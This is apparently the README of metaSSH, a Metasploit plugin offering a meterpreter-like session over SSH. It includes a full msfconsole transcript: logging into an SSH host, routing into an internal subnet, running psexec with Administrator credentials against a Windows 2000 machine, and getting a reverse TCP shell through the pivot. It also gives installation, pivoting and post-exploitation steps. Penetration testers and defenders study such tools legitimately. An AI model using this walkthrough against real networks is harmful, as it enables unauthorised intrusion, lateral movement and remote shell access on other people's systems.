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metaSSH session plugin for metasploit v0.1 ========================================== metaSSH is a session plugin for metasploit that gives you a meterpreter like interface over an ssh connection. When I started writing this code I just wanted to be able to cleanly reverse pivot over ssh from within metasploit but I guess I got a bit carried away. Features -------- * Multi-channel * SFTP over same connection * Pivoting & reverse pivoting via "route" * Scriptable * Supports post-exploitation modules * Meterpreter-like api Example ------- Here is an example of using metaSSH to pivot through an ssh host at 192.168.56.3 to run psexec on a win2k box at 192.168.57.4, inside the internal subnet. The reverse tcp payload then reverse pivots (automagically) through our ssh box to give us a shell. =[ metasploit v4.2.0-dev [core:4.2 api:1.0] + -- --=[ 778 exploits - 415 auxiliary - 121 post + -- --=[ 238 payloads - 27 encoders - 8 nops msf > setg LogLevel 3 LogLevel => 3 msf > load meta_ssh payloads/singles/ssh/metassh_session.rb exploits/multi/ssh/login_password.rb [*] Successfully loaded plugin: metaSSH msf > use multi/ssh/login_password msf > set RHOST 192.168.56.3 RHOST => 192.168.56.3 msf > set USER dsl USER => dsl msf > set PASS reverse PASS => reverse msf > set PAYLOAD ssh/metassh_session PAYLOAD => ssh/metassh_session msf > exploit -z [*] Connecting to [email protected]:22 with password reverse [*] metaSSH session 1 opened (127.0.0.1 -> 192.168.56.3:22) at 2011-12-28 03:51:16 +1300 [*] Session 1 created in the background. msf > route add 192.168.57.0 255.255.255.0 1 [*] Route added msf > use exploit/windows/smb/psexec msf > set RHOST 192.168.57.4 RHOST => 192.168.57.4 msf > set LHOST 192.168.57.3 LHOST => 192.168.57.3 msf > set LPORT 5557 LPORT => 5557 msf > set SMBUser Administrator SMBUser => Administrator msf > set SMBPass password SMBPass => password msf > set PAYLOAD windows/shell_reverse_tcp PAYLOAD => windows/shell_reverse_tcp msf > exploit [*] Started reverse handler on 192.168.57.3:5557 via the metaSSH on session 1 [*] Connecting to the server... [*] Authenticating to 192.168.57.4:445|WORKGROUP as user 'Administrator'... [*] Uploading payload... [*] Created \ekuCbYaL.exe... [*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.57.4[\svcctl] ... [*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.57.4[\svcctl] ... [*] Obtaining a service manager handle... [*] Creating a new service (TCzOpXwW - "MvQGwrInlegXtnXAgQmQ")... [*] Closing service handle... [*] Opening service... [*] Starting the service... [*] Removing the service... [*] Closing service handle... [*] Deleting \ekuCbYaL.exe... [*] Command shell session 2 opened (127.0.0.1:43621 -> 127.0.0.1:50324) at 2011-12-28 03:51:18 +1300 Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-1999 Microsoft Corp. C:\WINNT\system32>^Z Background session 2? [y/N] y msf exploit(psexec) > sessions -i 1 [*] Starting interaction with 1... metaSSH > help Core Commands ============= Command Description ------- ----------- ? Help menu background Backgrounds the current session bgkill Kills a background metaSSH script bglist Lists running background scripts bgrun Executes a metaSSH script as a background thread channel Displays information about active channels close Closes a channel exit Terminate the ssh session help Help menu info Displays information about a Post module interact Interacts with a channel irb Drop into irb scripting mode quit Terminate the ssh session run Executes a metaSSH script or Post module use Deprecated alias for 'load' Stdapi: System Commands ======================= Command Description ------- ----------- execute Execute a command shell Drop into a system command shell Stdapi: Net Commands ==================== Command Description ------- ----------- portfwd forward local port to remote port Stdapi: File system Commands ============================ Command Description ------- ----------- cat Read the contents of a file to the screen cd Change directory del Delete the specified file download Download a file or directory edit Edit a file getlwd Print local working directory getwd Print working directory lcd Change local working directory lpwd Print local working directory ls List files mkdir Make directory pwd Print working directory rm Delete the specified file rmdir Remove directory search Search for files upload Upload a file or directory metaSSH > Installation ------------ Make sure you are running the **latest** version of metasploit from github, metaSSH requires recent fixes to the bundled net/ssh library. git clone https://github.com/rapid7/metasploit-framework.git Get the latest version of metaSSH git clone [email protected]:dirtyfilthy/metassh.git Copy meta_ssh.rb & the meta_ssh directory to your metasploit plugins directory cp -r meta_ssh.rb meta_ssh ~/metasploit/plugins Usage ----- After installation in msfconsole run "load meta_ssh" to load the plugin. Two new exploit modules and one new payload module will become available. The exploits "multi/ssh/login_password" & "multi/ssh/login_pubkey" both let you login to an ssh server through different means and are fairly self explanatory. The payload for each of these must be "ssh/metassh_session" which will spawn metaSSH. For ease of use a command is also provided open_ssh -l LOGIN -c PASSWORD/KEYFILE HOST ### Pivoting To get pivoting to work just add a route to your internal subnet through your metaSSH session like so: msf > route add 192.168.57.0 255.255.255.0 1 NOTE: For reverse pivoting GatewayPorts MUST be set to yes in sshd_config on your pivot box. At some point I'll probably add an emulation mode with mkfifo & netcat. ### Post-exploitation modules To use run them from the metaSSH session just like meterpreter metaSSH > run post/linux/gather/checkvm [*] Gathering System info .... [+] This appears to be a VirtualBox Virtual Machine Bugs ---- Forwarded ports (local and remote) are never released until the metaSSH session ends. For some reason I couldn't figure out, attempting to cancel port forwarding also kills any popped sessions. Any other bugs please open an issue on my github ( https://github.com/dirtyfilthy/metassh ). Pull requests/fixes gratefully accepted. Acknowledgements ---------------- This code is based heavily on the meterpreter session code included with metasploit and has in many cases simply been "cargo culted" and altered. Thanks to RageLtMan for his contributions. Author ----- dirtyfilthy -- https://github.com/dirtyfilthy -- [email protected]
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